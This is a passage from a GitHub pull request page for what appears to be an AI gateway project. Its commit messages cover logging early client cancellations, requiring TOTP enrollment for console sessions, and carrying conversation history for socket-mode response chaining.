…#54) A disconnect was recorded only once a stream had started. A client that left while its key's roles loaded, the limits ran, a route was picked or a whole answer was awaited left no trace: hyper dropped the handler and nothing after the await point ran. The API-key middleware now arms a drop guard (proxy::EarlyCancel) for the AI gateway as soon as the key is known, and disarms it when the handler hands back any response, since every response path writes its own row. Dropped still armed, it writes one gateway_logs row: status 499, stream_outcome client_cancelled, cancelled_before response, no tokens, no cost, no provider. The handler fills in the trace id and the model as it learns them. A started stream is unaffected and still records its own cancel, so nothing is logged twice. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
With security.totp_required on, a console session whose user has not enrolled TOTP (password or SSO sign-in) only reaches /api/auth/me, register-key, logout and the TOTP status/setup/verify-setup endpoints. Everything else answers 403 with error type totp_enrollment_required. The gate is decided per request in require_auth, so switching the setting on covers existing sessions and enrolling lifts it on the same session. API keys are unaffected. /api/auth/me reports totp_enrollment_required; the console replaces itself with an enrollment screen while it is set and reloads the user when any request is refused with that type. Disabling TOTP is refused while the setting is on. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
OpenAI's socket mode keeps the connection's most recent response, so a turn can name it in previous_response_id with store: false, which is how Codex runs. Each turn here is a separate upstream request, possibly to an upstream in another format with no such store, so that failed. The connection now keeps its most recent response as the conversation so far: the turn's full input plus the output items of its response.completed (without their store ids). A turn naming it goes upstream with that history in input and no previous_response_id, valid against any upstream and billed as what it is. A previous_response_id naming anything else goes upstream as sent. A failed turn leaves the chain where it was. Co-authored-by: Claude Opus 5.5 <noreply@anthropic.com>
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
See CHANGELOG.md [2.0.0] for the full notes.
Cut from dev at 443de8d (locked).
🤖 Generated with Claude Code